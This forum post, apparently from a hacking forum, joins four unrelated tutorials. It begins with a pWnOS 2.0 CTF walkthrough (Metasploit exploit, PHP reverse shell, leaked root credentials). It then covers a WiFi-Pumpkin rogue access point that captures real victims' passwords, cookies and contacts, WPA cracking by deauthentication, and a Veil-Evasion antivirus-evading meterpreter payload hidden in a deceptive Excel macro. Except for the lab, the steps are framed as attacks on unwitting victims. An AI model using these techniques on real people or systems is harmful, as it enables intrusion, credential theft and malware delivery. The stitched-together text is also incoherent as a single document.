Login

**NINZA** · 04-24-2020, 01:06 PM

0			0

Hello friends!! Today we are going to solve a fun CTF challenge named “pWnOS: 2.0” presented on Vulnhub for practicing Penetration Testing by

[To see content please register here]

. This virtual machine is having intermediate to the medium difficulty level.

Initial Configuration of Lab:

Configure your attacking platform to be within the 10.10.10.0/24 network range.

We set the VMWare’s Network Adapter to Host-Only but can set it to either NAT or Host-Only depending on your setup.

Goal: Get Root Shell.

Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Directory busting the server
Getting Login Credentials (Metasploit)
Upload PHP reverse shell
Get Limited Shell
Enumerate Root Credentials
Get Root

Let’s Start!!!

Usually, we start by getting the IP Address of the Lab. In this case we already know the static IP address of the Lab, but still for the sake of doing it let’s do it.

netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identifying the running services and open ports of the victim’s machine by using the most popular tool Nmap.

nmap -A 10.10.10.100
1
nmap -A 10.10.10.100

[Image: 2.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser. It seems a basic site with a login form and Register form.

[Image: 3.png?w=687&ssl=1]

But I tried to follow another set of direction by running a Web Content Scanner (dirb) and found the blog directory.

dirb

[To see content please register here]

1
dirb

[To see content please register here]

After finding the blog directory, I tried to open the blog directory in the browser, it gave another simple looking webpage when looked at the first glance seems not interesting but as we know that the authors of these labs usually like to hide in plain sight. So, I opened the source code of the Webpage.

And as I closely inspected the source code, I ran into the line shown in the screenshot, it is an important hint as it tells us that the Website runs on Simple PHP Blog and the Version 0.4.0.

[Image: 5.png?w=687&ssl=1]

Simple PHP Blog is also known as ‘sphpblog’. So, I searched for any possible exploits for sphpblog in the Metasploit framework. I found a bunch of them. Among them, I thought to try out the exploit/unix/webapp/sphpblog_file_upload.

In Metasploit Shell I ran the following command to exploit:

use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit
1
2
3
4
use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit

This exploit failed to give us and any shell, but it gets creative and created a Login Credentials as shown in the Screenshot.

Let’s use these credentials to Login.

Username: WJx2Fp
Password: PiRpoM
1
2
Username: WJx2Fp
Password: PiRpoM

[Image: 6.png?w=687&ssl=1]

(You will get a different set of Login Credentials as the Exploit generated them unique every time.)

Logging In gave us some additional options in the Menu. Among which the Upload Image Option took my attention.

[Image: 7.png?w=687&ssl=1]

Upload image option opens a simple Upload webpage. Let’s try to upload the php-reverse-shell.php which is inbuilt in Kali Linux from path: /user/share/webshells/php. Although uploading PHP files most probably will be not allowed.

[Image: 8.png?w=687&ssl=1]

Wow!! We successfully uploaded the php-reverse-shell directly. This is awesome.

So, I browsed to the location of the uploaded PHP file, which is 10.10.10.100/blog/images. (Found this location in the initial dirb scan)

[Image: 9.png?w=687&ssl=1]

Now let’s open the file and start Netcat listen in a new terminal to get victim’s reverse connection.

nc -lvp 1234
1
nc -lvp 1234

[Image: 10.png?w=687&ssl=1]

We got an improper shell, let’s convert it into a proper shell using the python one-liner.

python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

Now, traversing Directory to Directory, files to files, I ended up in the /var directory and here I found a PHP file named mysqli_connect.

On opening this file using cat, I found the root credentials.

cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS
1
2
3
4
cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS

[Image: 11.png?w=687&ssl=1]

Now let’s wrap up this lab by getting the root shell, for this I will be using an ssh connection to the lab generated with the root credentials and as you can see in the screenshot given, we got the root shell.

ssh [email protected]
1
ssh [email protected]

[Image: 12.png?w=687&ssl=1]

WiFi-Pumpkin framework for Rogue Wi-Fi Access Point Attack It helps a hacker to create a free open fake wifi and as soon as victim connects to the fake open wifi, he gets trapped. However, the best feature is that if your internet connection is working, victim will get access to internet. Hence, more chances of him to get trapped(Nice, isn’t it?).

First, to install Wifi-Pumpkin we type on terminal:

git clone

[To see content please register here]

Once the cloning is done, we need to install. Hence, go to the installed directory of WiFi-Pumpkin and open it in terminal and type the following command to install it:

./installer.sh –install

Now, open the installed directory of wifi-pumpkin in terminal and type:

Python wifi-pumpkin.py

It will load wifi pumpkin in GUI as you can see in the screenshot below.

[Image: 3.png?w=687&ssl=1]

Now, all you have to do is configure your settings and click on ‘Start Access Point’.

Wait for some devices to connect. They will be displayed as you can see below. A good thing is that devices are automatically assigned a class A IP address.

In the victim’s phone PumpAP is created and he/she is accessing the internet without even knowing that they have fallen into the sweet trap of free internet!

While the victim is acessing Wi-Fi like usual, we can see his/her activity. As you can see in the below screenshot that we are able to capture victim’s phone’s “Hike Contacts.”

As soon as victim opens anyone’s profile on hike, their number is being captured by us!

Many other notable features include cookie capturing. As n the below screenshot, we can see victim’s device’s cookies being visible. Which is great to know as it may have something interesting?

We are also able to capture any credentials/ login id and password on any http website.

As you can see below that victim has logged in into way2sms.com and their ID and password are being recorded.

For even better case scenarios, when many of victims will be connected to your fake Wireless Network thinking they are in luck, we will be recording everything in clear text. If we are unable to see everything on terminal, don’t worry, WiFi-Pumpkin has stored everything category wise.

Now, we go to the directory:

/WiFi-Pumpkin/logs/AccessPoint

In that directory many log files are present that have captured numerous items. One such text file is “credentials.log”

Here, we will see all the login details

Another notable file is the “urls.log”

We can see all the accessed urls on victim’s device, along with their IP address.

So, this is how you allure victims into free internet and steal data without even letting them know!

GERIX WIFI CRACKER is a GUI wireless 802.11 penetration tools which uses the aircrack-ng method behind its point and click method to crack the wifi password.

First of all clone the github repo with command:

git clone

[To see content please register here]

Now inside the installed directory give the gerix.py file permission to execute with command:

chmod +x gerix.py

and then start the gerix wifi cracker with command:

python gerix.py

Now a GUI window will appear, click on Reload the Wireless Interfaces and when the wireless interface appears click on it i.e. wlan0 in my case and then click on Enable/Disable Monitor Mode to enable the monitor mode from managed mode.

After enabling the monitor mode the wireless interface name will be changed to wlan0mon and the mode will be monitor .Now for scanning the wireless networks select the monitor mode interface (wlan0mon in my case) and then click on Rescan networks.

After scanning networks select you target by clicking on it as in my case i have selected tp link and then go to WPA tab (As the target AP is using WPA2 security).

After clicking on WPA tab, go to general functionalities and start sniffing and logging by clicking on it and a terminal window will appear capturing the packets of the target AP.

Now without closing the terminal windows got to WPA attack section and click on Autoload victim clients who will load victim client MAC address to deauthenticate and now click on Client Deauthentication to disconnect the victim so that we can capture the handshake.

Now as you can see WPA handshake is successfully captured and same can be seen in the top right corner of the terminal window. Now close the terminal window.

Now we have to crack the password from the captured file so got to Cracking tab and then to WPA bruteforce cracking section and give the dictionary path in the Add your dictionary field and then click on Aircrack-ng -Crack WPA password .(you can also choose any other method for cracking like pyrite and rainbow tables)

As you can see it has successfully cracked the password.

[Image: 9.png?w=687&ssl=1]

Veil-Evasion is a powerful tool to generate an executable payload that bypasses common antivirus solutions.

To install veil-evasion on your Kali Linux, type :

apt-get install veil-evasion
1
apt-get install veil-evasion

After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:

veil-evasion
1
veil-evasion

To see the options of payloads type

list
1
list

We can see a menu of the available payloads to use. There are plenty of payloads to use.

[Image: 1.png?w=687&ssl=1]

We will be using the payload id-23. We type the command:

use powershell/meterpreter/rev_https
1
use powershell/meterpreter/rev_https

Reverse https is used here just so in case if the victim’s PC has a firewall enabled for TCP, considering the most common situations where HTTPS is not blocked on PC.

After that set localhost(Your PC’s IP). In my case, it is 192.168.0.105. Hence:

set lhost 192.168.0.105
1
set lhost 192.168.0.105

And then generate the payload:

generate
1
generate

[Image: 2.png?w=687&ssl=1]

Enter the name of the file. Let the name of the file to be generated be raj. Therefore;

raj

[Image: 3.png?w=687&ssl=1]

Now, the Veil-Evasion tool has created a bat file in PowerShell code in the directory:

/var/lib/veil-evasion/output/source/raj.bat
1
/var/lib/veil-evasion/output/source/raj.bat

[Image: 4.png?w=687&ssl=1]

Open a new window of the terminal and install MacroShop. MacroShop is a collection of scripts to aid in delivering payloads via Office Macros. Most are Python. To install it we type:

git clone

[To see content please register here]

1
git clone

[To see content please register here]

After the installation of MacroShop, open its installed folder and place the file “raj.bat” in that directory.

Once the file “raj.bat” is placed in MacroShop, change the terminal path to MacroShop(or right click on the installed directory and click open in terminal and type:

python macro_safe.py raj.bat file.txt
1
python macro_safe.py raj.bat file.txt

Here file.txt is the name of the output text file that MacroShop will create.

Now open windows->New Microsoft Office Excel Worksheet->view(on the top bar)->macro

Enter the macro name->create

Then in the Macro editing area(or the workbook) copy paste the code present in “file.txt” to the workbook and save the macro.

Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).

Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.

Open the excel document again, and enable macro option(if disabled).

[Image: 11.png?w=687&ssl=1]

Meanwhile, open Metasploit on Kali Linux

msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit
1
2
3
4
5
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit

As soon as the victim clicks on enabling the macro and/or opens the excel document, Voila! We get the meterpreter session. Hence, the job is done.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis